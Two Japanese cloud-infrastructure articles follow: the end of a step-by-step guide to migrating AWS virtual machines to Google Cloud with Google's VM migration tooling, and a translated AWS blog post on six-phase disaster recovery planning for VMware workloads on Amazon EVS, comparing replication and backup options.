インスタンスのリストが自動的に取得されます。 このリストから移行対象とするインスタンスのチェックボックスにチェックを入れ、「移行を追加」プルダウンから「VM migration」を実行します。すると移行確認画面が表示されるため、「確認」を押下します。 完了後、画面上部の「VM の移行」タブを押下すると、先ほど選択したインスタンスが追加され、レプリケーションのステータスが準備完了となっていることが確認できます。続いて、対象インスタンスのチェックボックスにチェックを入れ、「移行」プルダウンから「レプリケーションを開始」を実行します。この処理により、AWS 上の仮想マシンデータが、Google Cloud 上に継続的にコピーされます。 ターゲットインスタンスの定義 レプリケーションが進行している間に、先行して Google Cloud 上で稼働させるインスタンスのスペック（マシンタイプ、ネットワーク設定、ディスクタイプなど）を定義します。 先ほどの画面から再び対象インスタンスのチェックボックスにチェックを入れ、「ターゲットの詳細を編集」を押下し、表示された編集画面を上から順に設定します。 なお、最下部の「Replication policy」設定でレプリケーション間隔を設定できます。デフォルトは2時間です。 テストクローンの作成と動作確認 しばらく待機し、先ほどの「VM の移行」画面から対象インスタンスのレプリケーションステータスが「有効」となっていることを確認します。この状態となっていれば初回レプリケーションは完了です。 以降は「Replication policy」で設定したレプリケーション間隔ごとに増分レプリケーションが実施されます。 参考 : VM の移行プロセス - レプリケーションフェーズ 次にテストクローンを実施します。テストクローン機能を使用すると、移行した VM のクローンを Compute Engine インスタンスとしてデプロイできます。テストクローンは省略可能ですが、本番環境へ移行する前に実施し、テスト環境で動作確認をすることが推奨されます。 参考 : VM の移行プロセス - テストクローンフェーズ 「VM の移行」画面から再び対象インスタンスのチェックボックスにチェックを入れ、「カットオーバーとテストクローン」プルダウンから「テストクローン」を実行します。するとテストクローン作成確認画面が表示されるため、「確認」を押下します。 しばらく待機し、「VM の移行」画面から対象インスタンスの「テストクローン/カットオーバーのステータス」が「クローンが完了しました」となっていることを確認します。 この状態になればテストクローン完了です。Google Cloud コンソールの上部検索ボックスに「Compute Engine」と入力して表示されるサジェストから「Compute Engine」画面へ進み、インスタンスが起動していることを確認します。 ここで、必要に応じてインスタンスにログインし OS 設定を確認したり、コンソール画面から Compute Engine インスタンスの設定値を確認したりして、想定どおりにデプロイされていることを確認します。 カットオーバー テストクローンによる事前確認完了後、カットオーバーを実施します。 カットオーバーを実行すると、最後のレプリケーションが実施され、VM が Compute Engine インスタンスにデプロイされます。この際、移行元の VM は停止されるため、注意してください。 また、Compute Engine は IP アドレスやインスタンス名が同じ VM を複数作成できません。そのため、テストクローン実施時に作成したインスタンスが存在している場合は、インスタンスを削除するか、「ターゲットの詳細を編集」から別のインスタンス名を設定してください。当記事の手順では、テストインスタンスを削除してから実行します。 「VM の移行」画面から再び対象インスタンスのチェックボックスにチェックを入れ、「カットオーバーとテストクローン」プルダウンから「カットオーバー」を実行します。するとカットオーバー確認画面が表示されるため、「確認」を押下します。 カットオーバーの状況については、先ほどの画面から対象インスタンス名を押下し、「テストクローン/カットオーバーの履歴」タブから確認できます。 しばらく待機し、「VM の移行」画面から対象インスタンスの「テストクローン/カットオーバーのステータス」が「カットオーバーが完了しました」となっていることを確認します。 この状態になればカットオーバー完了です。テストクローン実施時と同様に、Google Cloud コンソールの上部検索ボックスに「Compute Engine」と入力して表示されるサジェストから「Compute Engine」画面へ進み、想定どおりのインスタンスが起動していることを確認します。 レプリケーションの最終処理 カットオーバー完了後、レプリケーションの最終処理を実施します。カットオーバー完了時点で移行は完了していますが、レプリケーションの最終処理を実行するまではレプリケーションデータが保持された状態です。 「VM の移行」画面から再び対象インスタンスのチェックボックスにチェックを入れ、「移行」プルダウンから「レプリケーションを最終処理」を押下します。 しばらく待機し、「VM の移行」画面から対象インスタンスの「レプリケーションのステータス」が「最終処理済み」となっていることを確認します。 以上で AWS から Google Cloud への VM 移行作業は完了です。 本間 優太郎 (記事一覧) クラウドソリューション部 クラウドエンジニアリング2課 北海道在住 2026年6月に G-gen にジョイン。前職では社内SE、Sler としてアプリ/インフラ開発業務に従事。アプリ/インフラ双方の経験をベースに現在はGoogle Cloudの学習を進めている。 好きなことは子供と遊ぶこと、ゲームをすること。

本稿は、2026 年 8 月 19 日に AWS Blog で公開された “Disaster Recovery for VMware Workloads on Amazon EVS” を翻訳したものです。 ビジネスクリティカルなワークロードを VMware 上で稼働させている多くの企業が、たった 1 度の障害が業務を中断し、顧客に影響を与え、収益と信頼を危険にさらし得ることを認識しています。 災害復旧 （DR）はその解決策であり、プライマリサイトがダウンした際に引き継ぐ準備が整ったセカンダリサイトを指します。しかし、従来その構築には多額の初期投資、長いハードウェアのリードタイム、そして本番環境との乖離が避けられない環境が必要であったため、プロジェクトは先送りにされてきました。 Amazon Elastic VMware Service（Amazon EVS） はこれらの障壁を取り除きます。AWS 上で完全な VMware 環境（VMware Cloud Foundation）をオンデマンドでデプロイでき、ハードウェアの購入もリードタイムも環境の乖離も不要です。使用した分だけ支払い、チームは既に慣れ親しんだ VMware のツールとプロセスをそのまま使い続けることができます。AWS が基盤インフラストラクチャを管理し、ワークロードは変更なしで復旧します。 この記事では、Amazon EVS を使用した災害復旧ソリューションの実装における 6 つのフェーズを解説します：戦略と目標の定義、復旧環境の作成、本番環境のミラーリング、ワークロードの保護、必要に応じた復旧、そして切り替えです。その過程で、ビジネスに適した DR 戦略を選択するためのトレードオフについても取り上げます。 図 1: Amazon EVS 上で DR ソリューションを構築するための 6 つのステップ フェーズ 1：災害復旧の目標と戦略の定義 何かを構築する前に、一歩引いて、何を保護するのか、なぜ保護するのかを考える必要があります。 スコープ： どのワークロードがビジネスにとって重要でしょうか？いくつのワークロードに保護が必要で、それらがダウンした場合の影響はどれくらいでしょうか？これが DR 設計全体のスコープを決定します。 復旧目標： ビジネスはどれくらいの時間ダウンを許容できますか？どれくらいのデータ損失を許容できますか？これが目標復旧時間（ RTO ）と目標復旧時点（ RPO ）です。 地理： 本番環境は現在どこで稼働していますか？1 つの 災害 で両サイトがダウンしないよう、復旧環境はどこに配置すべきでしょうか？データ所在地とコンプライアンスの要件が、利用可能な AWS リージョンを絞り込みます。 ツール： DR サイトでワークロードを運用するために、チームはどのようなツールを必要とするでしょうか？使い慣れたツールを拡張することで、新たな学習コストや未検証の障害モードを回避できます。 環境の忠実度： アプリケーションは本番環境の完全なコピー（同じ IP、同じポリシー）で動作する必要がありますか？それとも変更を許容する柔軟性がありますか？これがネットワーキングと構成のアプローチを決定します。 予算： 予算上限はありますか？コミット型キャパシティとオンデマンドの柔軟性、どちらが適していますか？これが、災害発生前にどれだけの待機環境を維持するべきかを決定します。 事業継続： 会社に 事業継続計画（BCP） はありますか？ある場合は、DR 計画をそれに合わせます。BCP が優先順位、許容可能なダウンタイム、復旧順序を設定します。 ランサムウェア対策： 復元前にワークロードがクリーンであることを検証する必要はありますか？イミュータブルストレージと隔離された復旧環境が再感染を防止します。 これらを検討し終えれば、戦略はほぼ自動的に決まります。正しい戦略とは、全体で最も低い RTO を持つものではなく、全てのワークロードがビジネスに必要なレベルの保護を受け、持続可能なコストで、チームが自信を持って実行・テストできるプロセスを備えたものです。以下の表に 4 つの一般的なアプローチを示します。 Cold (オンデマンド) Pilot Light (最小構成) Warm Standby (部分構成) Hot (アクティブ)* 事前デプロイされるもの なし (EVS は災害時にデプロイ) 最小限の EVS 環境 (2 〜 4 ホスト) 縮小クラスター (重要ワークロード向け) フルクラスター (本番同等の容量) コスト $ $$ $$$ $$$$ RTO** 最も高い(8 時間以上) 中‑高(~ 4 時間以上) 中-低(~ 2 時間以上) 低 (~ 15 分以上) RPO 数時間〜数日（最終バックアップ） 数分（最終レプリケーション） 数分（最終レプリケーション） ほぼゼロ（継続的同期） 復旧アクション* EVS デプロイ → 本番ミラーリング → VM 復旧 → 切り替え VM 復旧 → 切り替え VM 復旧 → 切り替え VM 復旧 → 切り替え テストの信頼性 低（災害時まで未テスト） 中（クラスター検証済み） 高（部分的フェイルオーバーテスト） 非常に高（継続的検証） 最適な用途 RTO に余裕のある非重要ワークロード 標準的な本番ワークロード 厳格な SLA を持つ重要アプリケーション ゼロダウンタイムのミッションクリティカル * Hot（アクティブ）：アプリケーション層では実現可能ですが、インフラストラクチャレベルでは vSAN ストレッチクラスタリングが必要です（EVS では未対応）。 ** RTO は災害時に残っている復旧アクションの数に依存し、復旧アクティビティが少なく短いほど RTO は低くなります。 フェーズ 2：DR 環境の作成 復旧環境の作成は 3 つの決定に集約されます：どこにデプロイするか、何をデプロイするか、事前にどれだけ稼働させておくかです。完全なデプロイワークフローについては、 Amazon EVS のドキュメントを参照してください。 どこに： Amazon EVS を、プライマリサイトとは別の AWS リージョン またはアベイラビリティゾーンに、自身の VPC 内にデプロイします。そこから、必要に応じて AWS 内の他のサービスやオンプレミスに接続します。 何を： インフラストラクチャ基盤となる EC2 ベアメタルインスタンス と、ワークロードが期待するソフトウェア定義データセンターを提供する VMware Cloud Foundation のバージョンを選択します。 どれだけ： 上限と下限を把握し、その間のどこに位置するかを決定します。 上限： 上限を算出するには、前のフェーズで作成したワークロードインベントリから、重要なワークロードが消費するリソースを合計し、VCF 管理オーバーヘッドを考慮します。これにより、全てを一度に復旧するために必要なホストの最大数が得られます。 下限： 一方、下限は VCF のバージョン、ストレージタイプ、 フリートフットプリント に応じて Broadcom が定義します。最新の値については VCF のドキュメント を確認してください。現在、VCF 5.2 および 9.x では、Broadcom は本番環境向けに 4 ホストと vSAN ストレージによる 高可用性デプロイメント を推奨しています。VCF 9 では、vSAN で 3 ホスト、または外部ストレージで 2 ホストから始められる シンプルデプロイメント も提供しており、管理プレーンの冗長性よりもコストが重要な環境に適しています。 ティアの選択： これらの上限と下限の間で、現時点でどこに位置するかを決定します。これがコスト対速度の核心的な判断です。事前にデプロイしておくホストが多いほど復旧は速くなりますが、そのアイドル状態のキャパシティを維持するコストも増えます。何もデプロイせず災害発生時に完全に構築する方法（Cold）もあれば、小規模なフットプリントを稼働させておき必要時にスケールアウトする方法（Pilot Light または Warm Standby）もあります。また、DR サイトで日常的に非重要ワークロードを稼働させ、災害発生時にそれらをシャットダウンしてキャパシティを回収するという、一般的な手法もあります。 フェーズ 3：本番環境構成のミラーリング Amazon EVS がデプロイされたら、ワークロードがソースサイトとまったく同じように動作するよう構成します。ネットワーキング、セキュリティ、コンピュート、ストレージ、アイデンティティです。これらが本番環境と一致していれば、ワークロードはクリーンに復旧し、プライマリサイトと同じように動作します。 図 2: 災害復旧の概要 これらの中で、ネットワーキングが最も難しく、最も重要な部分です。フェイルオーバー後に VM が期待するセグメント、ゲートウェイ、ファイアウォールルールに到達できなければ、何も機能しません。このサービスは、復旧サイトで本番ネットワークを再現するための確実な選択肢を提供します。最も一般的な 2 つのモデルを以下に示します： コード駆動型ネットワークレプリケーション このアプローチは、 Terraform 、 Ansible 、 PowerCLI 、 VCF Automation などの Infrastructure as Code（IaC）ツールを使用して、本番ネットワーク構成を復旧サイトにレプリケートします。動作方法は準備する戦略によって異なります。復旧サイトがまだ存在しない場合は、本番ネットワークをコードとしてキャプチャし、サイトのデプロイ時に実行します。既に稼働している場合は、IaC パイプラインが両サイトを自動的に同期させます。いずれの場合も、DR が起動すると、VM は既に配置されているネットワークに接続します。すべてのティアで機能します。 NSX Federation NSX Federation を使用すると、両サイトのネットワーキングを 1 つの中央拠点、NSX グローバルマネージャーから管理できます。セグメント、ファイアウォールポリシー、セキュリティグループを一度定義すれば、両方のロケーションに自動的にプッシュされます。VM が DR サイトで復旧すると、同じ IP、同じファイアウォールルール、同じセキュリティポリシーが適用されます。IP の再割り当て、再構成、乖離は不要です。 これには、両サイトにネットワーキングインフラストラクチャが既にデプロイされ稼働している DR 環境が必要です。初期セットアップが必要であり、一部のポリシーは VM が復旧サイトに登録されて初めて有効になります。それでも、両サイトを常に同期させる必要がある環境にとって、即座のネットワーク準備完了への最もクリーンなパスです。 NSX Federation コード駆動型ネットワークレプリケーション ネットワーク同期 自動、リアルタイム 手動または IaC 駆動、定期的 フェイルオーバー時の IP 再割り当て なし（同じセグメントがストレッチ） あり得る（マッピングに依存） インフラストラクチャオーバーヘッド 高い（両サイトにグローバルマネージャー + Edge） 低い（クロスサイト NSX インフラ不要） 乖離リスク なし（グローバルマネージャーが強制） 自動化されていなければ存在する 最適な用途 Warm Standby、Hot — 頻繁な変更、IP 再割り当てゼロ Cold、Pilot Light、Warm Standby — 安定したネットワーク、IaC の成熟度 フェーズ 4 & 5：ワークロードの保護と復旧 復旧環境が作成され、本番環境と一致するよう構成されたら、次の問題はワークロードデータをどのようにそこに移すか、そしてその時が来たときに仮想マシンをどのように復旧するかです。Amazon EVS で動作するソリューションは複数あります。以下の表は、最も重要な基準に沿って利用可能なソリューションを比較しており、続くセクションでそれぞれを詳しく解説します。 VMware Live Recovery Veeam FSx for NetApp ONTAP AWS Backup カバー範囲 保護 + 復旧 保護 + 復旧 保護 + 復旧 保護のみ レプリケーション層 ハイパーバイザー(vSphere Replication) ハイパーバイザー(I/O フィルタ + プロキシ) ストレージ(SnapMirror、ブロックレベル) スケジュール(S3 へのスナップショット) RPO 5 分 – 24 時間 ~2 秒 (CDP)、 分 (レプリケーション)、時間 (バックアップ) 5 分 数時間〜数日 自動化 高 (復旧計画、スクリプト、再 IP) 高 (切替計画, 即時 VM 復旧) 中-高 (BlueXP でワンクリック) 最小 (スケジュールバックアップ、手動復旧) テスト 非破壊、隔離ネットワーク 非破壊切替テスト FlexClone ゼロスペースコピー 組み込みテスト無し 粒度 VM 単位 VM 単位 ストレージボリューム単位 VM 単位 DR サイト必要？ Yes Yes (CDP/Replication)、No (Backup) Yes No 複雑さ 低 中 低 – 中 最低 ライセンス VM – VCF アドオン VM GB 単位の従量課金 GB 単位の従量課金 最適な用途 統合ソリューションを求める VMware チーム すべてのティアで 1 つのサービスを求めるチーム 既に NetApp ONTAP を使用している組織 ベースライン保護とコンプライアンス層 ハイパーバイザーレベルのレプリケーション これらのソリューションは、ハイパーバイザーレベルで仮想マシンのディスクへの変更をインターセプトし、復旧サイトに転送することでレプリケーションを行います。通常、データの管理と移動のために両サイトにアプライアンス VM をデプロイします。このアプローチは最もタイトな RPO を提供し、復旧環境が既に稼働していることを必要とします。保護と復旧は同じサービス内で処理されます。 図 3: ハイパーバイザーベースのレプリケーション — 仮想アプライアンスを通じた DR オーケストレーションとデータレプリケーション VCF Protection and Recovery これは VCF における統合 DR プラットフォームであり、2 つのワークフローを持ちます：1 つは運用継続に焦点を当て、もう 1 つはサイバー攻撃後の安全な復旧のために設計されています。Disaster Recovery Orchestration：従来型の DR を処理します。各サイトにアプライアンスをデプロイし、vSphere Replication、vSAN Data Protection、またはストレージアレイでレプリケーションを行います。復旧計画が残り、つまり IP の変更、ネットワークマッピング、起動順序を処理します。RPO はレプリケーション方式に依存します：vSphere Replication で約 5 分、vSAN DP では設定したスケジュール、同期アレイではほぼゼロです。DR サイトが既に稼働していれば、RTO は通常わずか数分です。Cyber Recovery はランサムウェアからの復旧のための隔離された場所を提供します。小さなコネクターが重複排除された VM スナップショットをイミュータブルなクラウドファイルシステムに送信します。問題が発生した場合、隔離された復旧環境を起動し、Live Mount を使用してクリーンなスナップショットを即座に起動します。完全な復元は不要であり、DR サイトを 24 時間 365 日稼働させる必要もありません。 パートナーソリューション 複数のパートナー製品が Amazon EVS で動作します。Veeam は最も一般的なものの 1 つであり、単一のサービスで複数のティアにわたる保護と復旧の両方を処理します。保護については 3 つのモードを提供します：Amazon S3 へのスケジュールバックアップ（RPO は数時間）、スタンバイ VM へのほぼ継続的なレプリケーション（RPO は数分）、そしてハイパーバイザーレベルですべての書き込みをキャプチャする Continuous Data Protection（RPO は約 2 秒）。復旧については、フェイルオーバー計画がブートシーケンスと IP 再割り当てルールを自動的に処理し、Instant VM Recovery はフルリストアがバックグラウンドで完了する間にバックアップから直接マシンを起動できます。バックアップモードは事前の DR 環境を必要としません。レプリケーションと CDP モードは DR 環境を必要とします。粒度は VM 単位。複雑さは中程度で、1 つのコンソールですべてを管理しますが、3 つのモードすべてを同時に運用するには計画が必要となります。イミュータブルバックアップがランサムウェアから復旧ポイントを保護します。ライセンスは VM 単位です。 ストレージレベルのレプリケーション ストレージベースのレプリケーションはブロックレベルで動作し、両サイトに同じストレージサブシステムが必要です。Amazon FSx for NetApp ONTAP は 1 つの選択肢であり、EverPure などのパートナーからも同等のソリューションが利用可能です。 図 4: ストレージレベルのレプリケーション — 本番環境と復旧ストレージアレイ間のブロックレベル同期 Amazon FSx for NetApp ONTAP このソリューションは両サイトに FSx for NetApp ONTAP が必要であり、保護と復旧の両方を処理します。保護については、 SnapMirror がブロックレベルでストレージボリュームを 5 分ごとにレプリケートし、VM に対して完全に透過的で、ゲストレベルのオーバーヘッドはありません。完全な EVS 環境は復旧時のみ必要です。 復旧については BlueXP がフェイルオーバーをオーケストレートします：SnapMirror の関係を切断し、レプリカボリュームを書き込み可能にし、DR サイトにデータストアとしてマウントし、vCenter に VM を登録し、定義した順序で電源を入れます。プロセス全体がワンクリックまたは API 駆動です。粒度はボリューム単位で、通常は VM のグループを意味します。複雑さは低〜中程度。価格は GB 単位の従量課金で、大規模ではコスト効率が高いです。既に NetApp ONTAP を使用しており、最小限の運用オーバーヘッドでストレージ効率の高いレプリケーションを求める組織に最適です。 スケジュールバックアップ 最もシンプルかつ安価な保護形態で、耐久性のある外部ストレージに保存される定期的なスナップショットです。RPO はバックアップ頻度に応じて数時間から数日です。事前に DR 環境を稼働させておく必要はありません。 図 5: バックアップとリストア — リモートリポジトリへのスケジュールスナップショットとオンデマンド復旧 AWS Backup このオプションは保護のみを処理します。VM のスケジュールスナップショットを取得し、Amazon S3 に保存します。オプションの Vault Lock によるイミュータビリティにより、ランサムウェアを含め誰も復旧ポイントを削除または変更することができません。復旧は完全に手動です。オペレーターが仮想マシンを復元し、ネットワーキングを構成し、ブート順序を設定し、検証します。オーケストレートされたフェイルオーバーはありません。そのため、復旧時間が重要なワークロードには単独では不向きですが、他のアプローチの下にあるベースライン保護およびコンプライアンス層としては上手く機能します。ポリシー駆動、エージェント不要で、すべての操作が CloudTrail にログとして記録されます。粒度は VM 単位で、複雑さは最小限です。 フェーズ 6: 切り替えとテスト 最終フェーズは 2 つのことに関するものです：ユーザーを復旧サイトに切り替えること、そして実際の災害が発生した際にプロセスがまだ機能することを確認するために、十分な頻度でテストすることです。 切り替えの実行 切り替えとは、シンプルに DNS を更新して、ユーザーとシステムがプライマリサイトへの参照を停止し、復旧サイトへの参照を開始することです。Route 53 のヘルスチェックとフェイルオーバールーティング、加重レコード、またはオーケストレーションツールによってトリガーされる DNS 更新を使用します。重要なレコードの TTL は低く保ちます（60 秒以下）。長い TTL は、レプリケーションツールが提供する値をはるかに超えて実効 RTO を延ばす可能性があります。また、ランブックには外部依存関係への対応も記載して下さい。パートナー連携や、ハードコードされた IP を持つアプリケーション、管理外のサードパーティ DNS ゾーンなどです。 DR 計画のテスト テストされていない DR 計画は単なる推測に過ぎません。実際の復旧が失敗する最も一般的な理由は乖離です。レプリケーションから漏れたアプリケーション、本番環境でのみ変更されたファイアウォールルール、数ヶ月前にリネームされたものを参照しているスクリプトなどです。ほとんどのレプリケーションツールは、隔離ネットワークやサンドボックス環境を通じた非破壊テストをサポートしているため、スケジュールに従って使用します。重要ワークロードは毎月、その他は四半期毎。実際の RTO を目標と比較して追跡し、テストごとの想定外の事象の数を記録します。想定外の事象の傾向こそが、DR 成熟度の真の指標になります。ランブックの実行者をローテーションし、壊れた自動化が宣言時ではなく訓練時に発見されるようにします。 本番環境へのフェイルバック 実際のフェイルオーバー後、プライマリサイトが復旧したら、最終的にワークロードを本番環境に戻す必要があります。保護に使用したのと同じレプリケーションツールが逆方向に機能します：DR 環境を本番環境にレプリケートし、整合性を検証してから、トラフィックを切り戻します。フェイルバックは最初から計画しテストして下さい。テストされていないフェイルバックは、テストされていないフェイルオーバーと同じリスクを伴います。 結論 Amazon EVS 上の災害復旧は、単一のツールや単一の決定ではありません。6 つのフェーズにわたる一連の選択であり、それぞれが RTO、RPO、コスト制約、運用の現実によって形作られます。復旧環境をどこにどのようにデプロイするか、本番環境をどれだけ忠実にミラーリングするか、データをどのように移すか、ワークロードをどのようにオンラインに戻すか、そしてすべてが機能することをどのように証明するかを選択します。良いニュースは、Amazon EVS が小さく始めて成長する柔軟性を提供することです。優先度の低いワークロードには最小限のフットプリントとスケジュールバックアップから始め、ダウンタイムを許容できないワークロードには継続的レプリケーションとフルオーケストレーションを段階的に追加できます。すべてを一度に解決する必要はなく、すべてのキャパシティを一度にコミットする必要もありません。唯一省略できないのはテストです。ドキュメントの中にしか存在しない DR 戦略は負債です。テストを実行し、想定外の事象を追跡し、ギャップを埋め、繰り返します。目標は初日から完璧であることではありません。検証済みの復旧を1回ずつ積み重ねて信頼を築いていくことです。 Amazon EVS を始める AWS 上の VMware ワークロードのための災害復旧を構築する準備はできましたか。Amazon EVS を探索し、今日から復旧戦略の計画を始めましょう。 Amazon EVS のオファリングを Amazon EVS 製品ページ で確認してください。 技術的な詳細を Amazon EVS ドキュメント で掘り下げましょう。 最初の EVS 環境を Amazon EVS コンソール からデプロイしましょう。 この投稿の翻訳は Solutions Architect の有岡が担当いたしました。原文記事は こちら です。 Akshay Joshi AWS の Worldwide Public Sector チームのシニアソリューションアーキテクトであり、政府および教育機関の顧客が VMware 環境をモダナイズするのを支援しています。IT インフラストラクチャ（サーバー、ネットワーキング、ストレージ）で 15 年以上の経験があり、VMware を専門とし、そのキャリアの最後の 5 年間を AWS で過ごしてきました。公共セクターチームと協力し、既存の VMware 投資をスケーラブルでセキュアな AWS アーキテクチャに引き継ぐ支援を行っています。 Erick Meneses AWS の移行とモダナイゼーションに特化したスペシャリストソリューションアーキテクトです。大規模な変革プログラムのリードで 20 年以上の経験を持ち、EMEA 全域のエンタープライズ顧客がクラウドジャーニーを進め、成功した成果の達成を支援しています。 Ben Lipman 仮想化、ストレージ、ネットワークを管理する IT インフラストラクチャエンジニアリングで 25 年のバックグラウンドを持ち、あらゆる規模のエンタープライズを担当してきました。AWS で過去 10 年間を過ごし、現在はワールドワイド VMware テクニカルリーダーを務めています。